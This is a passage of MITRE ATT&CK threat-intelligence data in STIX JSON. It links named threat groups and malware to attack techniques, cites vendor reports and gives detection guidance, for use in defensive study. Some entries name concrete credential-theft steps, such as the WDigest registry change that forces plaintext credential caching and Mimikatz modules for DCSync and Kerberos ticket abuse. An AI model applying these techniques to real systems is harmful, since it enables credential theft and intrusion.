"FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"}, {"source_name": "Kaspersky Sofacy", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}, {"source_name": "Securelist Sofacy Feb 2018", "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."}, {"source_name": "US District Court Indictment GRU Oct 2018", "url": "https://www.justice.gov/opa/page/file/1098481/download", "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."}, {"source_name": "Secureworks IRON TWILIGHT Active Measures March 2017", "url": "https://www.secureworks.com/research/iron-twilight-supports-active-measures", "description": "Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}], "modified": "2022-02-28T16:17:59.038Z", "description": "(Citation: FireEye APT28 January 2017)(Citation: Kaspersky Sofacy)(Citation: Securelist Sofacy Feb 2018)(Citation: US District Court Indictment GRU Oct 2018)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75d124da-bb01-422f-bbf1-a472c841741b", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", "source_name": "GitHub Pupy"}], "modified": "2019-04-24T17:52:47.988Z", "description": "[Pupy](https://attack.mitre.org/software/S0192) can walk through directories and recursively search for strings in files.(Citation: GitHub Pupy)", "relationship_type": "uses", "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75d297b3-bd2e-4815-9c28-649f7f1d4a62", "type": "relationship", "created": "2020-10-27T19:26:38.292Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT BLINDINGCAN Aug 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}], "modified": "2020-10-27T19:26:38.292Z", "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has been packed with the UPX packer.(Citation: US-CERT BLINDINGCAN Aug 2020)", "relationship_type": "uses", "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--75d3d753-2276-4409-bf3d-df5e299ceb16", "created": "2022-03-30T14:26:51.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-23T22:05:47.340Z", "description": "Monitor executed commands and arguments that may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes.\n\nNote: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on abuse of Accessibility Features. ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75db2ffc-f33f-4735-a3eb-139d959b0b50", "type": "relationship", "created": "2021-10-08T15:22:00.048Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Checkpoint IndigoZebra July 2021", "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}], "modified": "2021-10-08T15:22:00.048Z", "description": "[BoxCaon](https://attack.mitre.org/software/S0651) can upload files from a compromised host.(Citation: Checkpoint IndigoZebra July 2021)", "relationship_type": "uses", "source_ref": "malware--919a056e-5104-43b9-ad55-2ac929108b71", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--75dcfc1b-016e-44ac-97c9-5a2eb3b76e50", "created": "2024-03-25T21:02:12.884Z", "revoked": false, "external_references": [{"source_name": "CISA Scattered Spider Advisory November 2023", "description": "CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.", "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}, {"source_name": "MSTIC Octo Tempest Operations October 2023", "description": "Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.", "url": "https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-25T21:02:12.884Z", "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) Spider enumerates a target organization for files and directories of interest, including source code.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75e01f6a-9f45-4db2-a79d-a21453b6d83f", "type": "relationship", "created": "2020-09-30T13:48:26.368Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA SoreFang July 2016", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a", "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020."}], "modified": "2020-09-30T14:13:38.333Z", "description": "[SoreFang](https://attack.mitre.org/software/S0516) can collect the hostname, operating system configuration, product ID, and disk space on victim machines by executing [Systeminfo](https://attack.mitre.org/software/S0096).(Citation: CISA SoreFang July 2016)", "relationship_type": "uses", "source_ref": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75e83708-7c1e-4124-b531-abac08a7523e", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75ec1c68-2e16-41fd-b1e6-8606534bbc2b", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--75f0ea4c-5b88-4b14-9859-67379f4ba9b0", "created": "2020-05-13T12:42:06.757Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CrowdStrike Grim Spider May 2019", "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"}, {"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.655Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has modified the Registry key <code>HKLM\\System\\CurrentControlSet\\Control\\SecurityProviders\\WDigest</code> by setting the <code>UseLogonCredential</code> registry value to <code>1</code> in order to force credentials to be stored in clear text in memory. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also modified the WDigest registry key to allow plaintext credentials to be cached in memory.(Citation: CrowdStrike Grim Spider May 2019)(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--75f2e135-5c45-4b27-a7dc-f62e68f6a5ce", "created": "2021-12-01T18:23:32.725Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Gelsemium](https://attack.mitre.org/software/S0666) can retrieve data from specific Windows directories, as well as open random files as part of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497).(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-05T21:53:42.915Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--75f47e28-75dd-4471-8d00-ed4a2c4d3328", "created": "2019-01-30T15:27:06.732Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT1 Appendix", "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", "url": "https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-26T19:55:54.858Z", "description": "[Seasalt](https://attack.mitre.org/software/S0345) has a command to download additional files.(Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1 Appendix)", "relationship_type": "uses", "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--75f7d0e0-b1e9-4289-8895-d8a262930523", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Savill 1999", "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", "url": "https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-01T04:34:30.866Z", "description": "Commands such as <code>net group</code> and <code>net localgroup</code> can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate groups.(Citation: Savill 1999)", "relationship_type": "uses", "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75f88090-55cb-4b3b-84af-cf51058c3ccc", "type": "relationship", "created": "2019-01-29T19:18:28.775Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET", "source_name": "TrendMicro DarkComet Sept 2014"}, {"description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/", "source_name": "Malwarebytes DarkComet March 2018"}], "modified": "2019-06-04T19:40:43.672Z", "description": "[DarkComet](https://attack.mitre.org/software/S0334) can load any files onto the infected machine to execute.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)", "relationship_type": "uses", "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75fcbeab-4f32-4e6d-a02a-9d5509fd4c4f", "type": "relationship", "created": "2019-04-23T16:12:37.610Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}], "modified": "2020-03-18T22:54:27.969Z", "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains modules, such as <code>Get-LocAdm</code> for enumerating permission groups.(Citation: GitHub PoshC2)", "relationship_type": "uses", "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--76021528-7cb6-461a-870a-f681cac19285", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts", "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", "source_name": "Proofpoint TA459 April 2017"}], "modified": "2019-03-25T17:00:47.332Z", "description": "[TA459](https://attack.mitre.org/groups/G0062) has targeted victims using spearphishing emails with malicious Microsoft Word attachments.(Citation: Proofpoint TA459 April 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--76037b22-a3e4-40d3-bd56-699d1ea4e97e", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://adsecurity.org/?page_id=1821", "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", "source_name": "Adsecurity Mimikatz Guide"}, {"url": "https://adsecurity.org/?p=1640", "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", "source_name": "AdSecurity Kerberos GT Aug 2015"}, {"source_name": "Harmj0y DCSync Sept 2015", "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.", "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"}, {"description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools"}], "modified": "2021-01-25T15:43:45.880Z", "description": "[Mimikatz](https://attack.mitre.org/software/S0002)\u2019s <code>LSADUMP::DCSync</code> and <code>KERBEROS::PTT</code> modules implement the three steps required to extract the krbtgt account hash and create/use Kerberos tickets.(Citation: Adsecurity Mimikatz Guide)(Citation: AdSecurity Kerberos GT Aug 2015)(Citation: Harmj0y DCSync Sept 2015)(Citation: NCSC Joint Report Public Tools)", "relationship_type": "uses", "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7606ad11-1322-4b97-83b9-aaafaee02c07", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://documents.trendmicro.com/assets/wp/wp-two-years-of-pawn-storm.pdf", "description": "Hacquebord, F.. (2017, April 25). Two Years of Pawn Storm: Examining an Increasingly Relevant Threat. Retrieved May 3, 2017.", "source_name": "Trend Micro Pawn Storm April 2017"}, {"source_name": "DOJ GRU Indictment Jul 2018", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", "url": "https://www.justice.gov/file/1080281/download"}, {"description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.", "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/", "source_name": "Microsoft STRONTIUM Aug 2019"}, {"source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021", "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}], "modified": "2021-07-26T17:53:02.916Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used legitimate credentials to gain initial access, maintain access, and exfiltrate data from a victim network. The group has specifically used credentials stolen through a spearphishing email to login to the DCCC network. The group has also leveraged default manufacturer's passwords to gain initial access to corporate networks via IoT devices such as a VOIP phone, printer, and video decoder.(Citation: Trend Micro Pawn Storm April 2017)(Citation: DOJ GRU Indictment Jul 2018)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--760be456-6b72-4b86-b5aa-3297aa89bc4d", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT FALLCHILL Nov 2017", "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"}], "modified": "2020-03-27T20:45:20.283Z", "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) collects MAC address and local IP address information from the victim.(Citation: US-CERT FALLCHILL Nov 2017)", "relationship_type": "uses", "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--761c328c-c7fe-4968-875d-537b99c4a605", "type": "relationship", "created": "2020-06-16T17:23:06.601Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-06-16T17:23:06.601Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4", "target_ref": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--761edf58-baad-4626-acca-a137c251b0e6", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto MoonWind March 2017", "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}], "modified": "2020-03-16T17:16:53.515Z", "description": "[MoonWind](https://attack.mitre.org/software/S0149) can delete itself or specified files.(Citation: Palo Alto MoonWind March 2017)", "relationship_type": "uses", "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--762f22f8-5f47-4c1f-b41b-86984c3e2550", "type": "relationship", "created": "2019-01-29T19:55:47.992Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf", "source_name": "Kaspersky Turla Aug 2014"}], "modified": "2020-03-30T02:09:54.673Z", "description": "[Epic](https://attack.mitre.org/software/S0091) compresses the collected data with bzip2 before sending it to the C2 server.(Citation: Kaspersky Turla Aug 2014)", "relationship_type": "uses", "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--762f85a3-0120-4b09-aafd-3f460764e85f", "type": "relationship", "created": "2017-05-31T21:33:27.034Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html", "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly &#91;Blog&#93;. Retrieved November 12, 2014.", "source_name": "Moran 2013"}, {"url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html", "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.", "source_name": "Moran 2014"}], "modified": "2019-06-10T19:28:01.000Z", "description": "(Citation: Moran 2013)(Citation: Moran 2014)", "relationship_type": "uses", "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", "target_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--76333b56-47b1-40c6-9223-c4cf6673362f", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Seaduke 2015", "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"}], "modified": "2020-03-17T16:34:05.489Z", "description": "Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to extract email from Microsoft Exchange servers using compromised credentials.(Citation: Symantec Seaduke 2015)", "relationship_type": "uses", "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", "target_ref": 